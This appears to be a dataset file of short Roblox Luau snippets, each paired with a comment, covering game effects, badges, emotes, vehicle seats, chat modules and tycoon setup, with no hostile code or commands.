strobe.Flasher.Size = UDim2.new(5.5,0,6.5,0)
end
function Flash()
strobe.BrickColor = BrickColor.new(1001)
strobe.Flasher.Strobe.Visible = true
strobe.Light.Enabled = true
wait(0.06)
strobe.BrickColor = BrickColor.new(194)
strobe.Flasher.Strobe.Visible = false
strobe.Light.Enabled = false
end
sval = math.random(85,95)/100
function PowerStrobe()
if salarm then return end
salarm = true
wait(sval)
while val2.Value == 1 do
Flash()
wait(sval)
end
salarm = false
end
if strobesync then
val2.Changed:connect(function() if val2.Value == 1 then Flash() end end)
else
val2.Changed:connect(function() if val2.Value == 1 then PowerStrobe() end end)
end
|
-- canonicalize an angle to +-180 degrees
|
function CameraUtils.sanitizeAngle(a)
return (a + math.pi)%(2*math.pi) - math.pi
end
|
-- For AwardBadge
|
function module.applyBadgeFunction(badgeId: number, func: badgeFunction): boolean?
if Functions.badges[badgeId] then return true end
local success, errorMessage, badgeInfo
success, errorMessage = pcall(function()
badgeInfo = BadgeService:GetBadgeInfoAsync(badgeId)
end)
assert(badgeInfo, `BadgeService error: {errorMessage}`)
if not badgeInfo.IsEnabled then return nil end
Functions.badges[badgeId] = func
return true
end
|
--[[
Creates a new EmoteManager which handles adding emotes to each player's
HumanoidDescription and keeping those emotes up to date when anything
changes.
Returns:
An EmoteManager instance
]]
|
function EmoteManager.new()
local self = {
playerOwnedEmotes = {},
playerEmoteConfig = {},
MarketplaceService = game:GetService("MarketplaceService"),
updatedPlayerEmotes = Instance.new("BindableEvent"),
remotes = { sendUpdatedEmotes = sendUpdatedEmotes },
}
setmetatable(self, EmoteManager)
return self
end
|
---------------------------
--Seat Offset (Make copies of this block for passenger seats)
|
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)
end
end)
|
--//seats
|
local hd = Instance.new("Motor", script.Parent.Parent.Misc.HD.SS)
hd.MaxVelocity = 0.03
hd.Part0 = script.Parent.HD
hd.Part1 = hd.Parent
fl.MaxVelocity = 0.03
fl.Part0 = script.Parent.FL
fl.Part1 = fl.Parent
fr.MaxVelocity = 0.03
fr.Part0 = script.Parent.FR
fr.Part1 = fr.Parent
|
--This will apply your settings to the player. Don't change what's below.
|
game.Players.PlayerAdded:Connect(function(player)
player.CharacterAdded:Connect(function(char)
if defaultOwnerOverride == false then
print("Default Owner Override is not active. The Owner Title will automatically be given to the place's owner. Change the setting in the READ ME script if you wish to toggle this.")
if game.CreatorType == Enum.CreatorType.User then
playername = game.Players:GetNameFromUserIdAsync(game.CreatorId)
else
local groupOwnerName = game:GetService("GroupService"):GetGroupInfoAsync(game.CreatorId).Owner.Name
playername = groupOwnerName
end
else
print("Default Owner Override is active. The Owner Title will be given to the name specified in the READ ME script inside of the Owner TItle by bendarobloxian model. Change the setting in the READ ME script if you wish to toggle this.")
end
if player.Name == playername then
local newgui = billboard:Clone()
newgui.Parent = char.Head
local txtColor
if dynamicRainbow == true then
txtColor = Color3.new(1,1,1)
newgui.TextLabel.dynamicRainbow.Disabled = false
elseif stillRainbow == true then
txtColor = Color3.new(1,1,1)
local newGrad = script.UIGradient:Clone()
newGrad.Parent = newgui.TextLabel
else
txtColor = Color3.fromRGB(redV, greenV, blueV)
end
newgui.TextLabel.TextColor3 = txtColor
newgui.TextLabel.Text = text
end
end)
end)
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 1 -- cooldown for use of the tool again
ZoneModelName = "Homing axe" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
-- DO NOT EDIT ANYTHING HERE (unless you are willing to risk the plane breaking)
|
wait(0.1) -- Yes, this is needed. If it's not here, the plane will only work once.
|
--WRITE YOUR ABILITIES HERE--
|
hum.WalkSpeed = 50
|
--[[
Creating a command module:
1) Create a new module inside the CommandModules folder.
2) Create a function that takes a message, the ChatWindow object and the ChatSettings and returns
a bool command processed.
3) Return this function from the module.
--]]
|
local clientChatModules = script.Parent.Parent
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
local COMMAND_MODULES_VERSION = 1
local KEY_COMMAND_PROCESSOR_TYPE = "ProcessorType"
local KEY_PROCESSOR_FUNCTION = "ProcessorFunction"
|
--script.Parent.ChargeCircle.Enabled = true
--script.Parent.ChargeCircle2.Enabled = true
|
script.Parent.ring.Enabled = true
script.Parent.Activate2.Enabled = true
script.Parent.Attachment.Flare.Enabled = true
shock = Instance.new("Part")
shock.CanCollide = false
shock.Anchored = true
shock.Rotation=Vector3.new(90,0,90)
shock.Name = "SHOCKWAVE"
shock.Transparency = 0.2
shock.BrickColor = BrickColor.new("New Yeller")
shock.formFactor = "Custom"
shock.TopSurface = 0
shock.BottomSurface = 0
shock.Material = "Neon"
shock.CastShadow = false
script.Mesh0:clone().Parent = shock
local erase0 = script.Fade0:clone()
erase0.Parent = shock
erase0.Disabled = false
shock.Parent = game.Workspace
shock.Position=script.Parent.Position
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "hi lol"
puff.Transparency = 0.2
puff.BrickColor = BrickColor.new("Lily white")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(3,3,3)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.FadeEx:clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
|
-- Tables
|
local function CopyTable(T)
local t2 = {}
for k,v in pairs(T) do
t2[k] = v
end
return t2
end
local function SortTable(T)
table.sort(T,
function(x,y) return x.Name < y.Name
end)
end
|
--[[
Encapsulates logic to apply art onto a single spot owned by the user.
Parameters:
- spotId (string): ID of spot to apply art to
- artId (string): art ID to apply for the spot
]]
|
function PlayerSpots:applyArt(player, spotId, artId)
local placedSpot = nil
for _, value in ipairs(self.placedSpots) do
if value.spot.id == spotId then
placedSpot = value
break
end
end
if not placedSpot then
return false, constants.Errors.SpotNotFound
end
-- Remove old art
if self.toRemove then
local placedSpotToRemove = self.placedSpots[self.toRemove]
placedSpotToRemove.spot:removeArt()
self.toRemove = nil
end
placedSpot.spot:applyArt(player, artId)
return true, nil
end
|
--- Sets whether or not the console is enabled
|
function Cmdr:SetEnabled (enabled)
if self.Interface == nil then
self.Interface = Interface
end
self.Enabled = enabled
end
|
--//Created by PlaasBoer
--Version 3.2.0
--If you find a bug comment on my video for Zed's tycoon save
--Link to my channel
--[[
https://www.youtube.com/channel/UCHIypUw5-7noRfLJjczdsqw
]]
|
--
local tycoonsFolder = script.Parent:WaitForChild("Tycoons")
local tycoons = tycoonsFolder:GetChildren()
|
--THX for using my good Anti-Lag script! Garunteed to work unless your place has SUPER lag!
|
mx = game.Debris
mx2 = game.Debris.MaxItems --This lets the script find out how much debris there is.
if (mx.MaxItems > 50000) then
mx.MaxItems = mx2*.75 --This makes it delete the debris every 100 items.
|
-- Load the near-field character transparency controller and the mouse lock "shift lock" controller
|
local TransparencyController = require(script:WaitForChild("TransparencyController"))
local MouseLockController = require(script:WaitForChild("MouseLockController"))
|
-- Decompiled with the Synapse X Luau decompiler.
|
return function(p1, p2, p3)
return p1[p3].Offset / p2.AbsoluteSize[p3] + p1[p3].Scale;
end;
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.